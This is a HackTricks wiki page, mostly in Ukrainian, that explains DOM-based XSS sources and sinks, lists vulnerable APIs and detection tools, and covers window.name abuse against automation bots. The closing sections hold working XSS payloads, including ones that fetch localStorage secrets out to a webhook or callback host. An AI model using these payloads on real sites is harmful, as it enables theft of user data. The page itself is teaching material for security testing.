DOM XSS
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Уразливості DOM
Уразливості DOM виникають, коли дані, контрольовані атакуючим, з sources (наприклад, location.search, document.referrer, або document.cookie) небезпечно передаються до sinks. Sinks — це функції або об’єкти (наприклад, eval(), document.body.innerHTML), які можуть виконувати або відображати шкідливий вміст при отриманні небезпечних даних.
- Sources — це вхідні дані, якими може маніпулювати атакуючий, включаючи URLs, cookies та web messages.
- Sinks — потенційно небезпечні кінцеві точки, куди шкідливі дані можуть призвести до небажаних наслідків, таких як виконання скрипту.
Ризик виникає, коли дані переміщуються від sources до sinks без належної валідації або санітизації, що дозволяє атаки типу XSS.
Tip
Більш оновлений список sources і sinks можна знайти в https://github.com/wisec/domxsswiki/wiki
Типові sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Поширені Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
Цей тип XSS, ймовірно, є найважчим для виявлення, оскільки потрібно заглянути всередину JS-коду, перевірити, чи він використовує будь-який об’єкт, значення якого ви контролюєте (value you control), і в такому випадку з’ясувати, чи існує будь-який спосіб зловживання ним для виконання довільного JS.
Інструменти для їх пошуку
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Розширення браузера для перевірки всіх даних, які потрапляють у потенційний sink: https://github.com/kevin-mizu/domloggerpp
Приклади
Open Redirect
From: [https://portswigger.net/web-security/dom-based/open-redirection]
Open redirect vulnerabilities in the DOM виникають, коли script записує дані, які attacker може контролювати, у sink, здатний ініціювати навігацію між доменами.
It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
Джерело: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilities виникають, коли скрипт вставляє дані, які можуть контролюватися атакуючим, у значення cookie. Ця вразливість може призвести до непередбачуваної поведінки веб-сторінки, якщо cookie використовується в межах сайту. Також її можна використати для проведення session fixation attack, якщо cookie беруть участь у відстеженні сесій користувачів. Основний sink, пов’язаний з цією вразливістю, це:
Sinks:
document.cookie
JavaScript Injection
Джерело: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities виникають, коли script виконує дані, якими може керувати атакуючий, як JavaScript code.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
From: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities виникають, коли скрипт встановлює властивість document.domain, використовуючи дані, які може контролювати attacker.
Властивість document.domain відіграє ключову роль у застосуванні same-origin policy браузерами. Коли дві сторінки з різних origins встановлюють свій document.domain на одне й те саме значення, вони можуть взаємодіяти без обмежень. Хоча браузери накладають певні обмеження на значення, які можна присвоїти document.domain, запобігаючи присвоєнню повністю не пов’язаних значень реальному origin сторінки, існують винятки. Зазвичай браузери дозволяють використовувати дочірні або батьківські домени.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning виникає, коли скрипт використовує контролювані дані як цільовий URL для WebSocket-з’єднання.
Sinks:
The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities виникають, коли скрипт записує attacker-controllable data у навігаційну ціль на поточній сторінці, наприклад клікабельне посилання або URL відправлення форми.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
Джерело: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities виникають, коли скрипт записує attacker-controllable data into an Ajax request що відправляється за допомогою об’єкта XmlHttpRequest.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
Джерело: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities виникають, коли скрипт передає attacker-controllable data to a file-handling API як параметр filename. Цю вразливість може експлуатувати attacker для створення URL, який, якщо його відвідає інший користувач, може призвести до user’s browser opening or writing an arbitrary local file.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
Джерело: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities виникають, коли скрипт включає attacker-controllable data into a client-side SQL query in an unsafe way.
Sinks:
executeSql()
HTML5-storage manipulation
Джерело: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
Уразливості HTML5-storage manipulation виникають, коли скрипт зберігає контрольовані зловмисником дані в браузерне HTML5 storage (localStorage або sessionStorage). Хоча сама по собі ця дія не є вразливістю безпеки, вона стає проблемною, якщо додаток пізніше читає збережені дані й обробляє їх небезпечно. Це може дозволити зловмисникові використати механізм збереження для проведення інших DOM-based атак, таких як cross-site scripting і JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities виникають, коли скрипт включає дані, контрольовані атакуючим, у XPath query.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
Джерело: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities виникають, коли скрипт включає дані, контрольовані атакуючим, у рядок, який розбирається як JSON-структура даних і потім обробляється додатком.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities виникають, коли скрипт відправляє дані, контрольовані атакуючим, як web message до іншого документу в браузері. An example of vulnerable Web-message manipulation can be found at PortSwigger’s Web Security Academy.
Sinks:
The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities виникають, коли скрипт записує дані, контрольовані атакуючим, у поле в DOM, яке використовується у видимому UI або клієнтській логіці. Цю вразливість може використати атакуючий, щоб згенерувати URL, який, якщо його відвідає інший користувач, може змінити зовнішній вигляд або поведінку клієнтського UI.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
Джерело: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities виникають, коли скрипт небезпечно передає дані, контрольовані зловмисником, проблемному платформному API. Це включає API, які при виклику можуть призвести до того, що комп’ютер користувача почне споживати надмірні обсяги CPU або дискового простору. Такі вразливості можуть мати значні побічні ефекти, наприклад браузер може обмежити функціональність сайту, відмовляючи у спробах зберегти дані в localStorage або припиняючи виконання зайнятих скриптів.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Неявні глобали та зловживання window.name
Звернення до name без оголошення (var/let/const) відповідає window.name. Оскільки window.name зберігається під час міждоменних навігацій, атакуючий може попередньо заповнити ім’я контексту перегляду HTML/JS і пізніше змусити код жертви відобразити його як довірені дані:
- Відкрийте/перейдіть до цілі в іменованому контексті, яким ви керуєте:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Або повторно використати
window.openз спеціально створеним ім’ям цілі:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Якщо додаток пізніше виконує element.innerHTML = name (або подібний sink) без санітизації, рядок window.name, контрольований атакуючим, виконується в цільовому origin, що дозволяє DOM XSS і доступ до same-origin storage.
Адмін/автоматизаційні потоки: попередньо заповнене сховище & javascript: навігація
Автоматизаційні боти (наприклад, Playwright) часто спочатку відвідують внутрішню сторінку, записують секрети в localStorage/cookies, а потім переходять на URL-адреси, надані користувачем. Будь-який DOM XSS primitive (включаючи window.name abuse) у цьому потоці може exfiltrate попередньо записаний секрет:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Якщо бот не обмежує схеми, передача URL javascript: (javascript:fetch(...)) виконується в поточному origin без нової навігації, безпосередньо leaking значення сховища.
Джерела
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


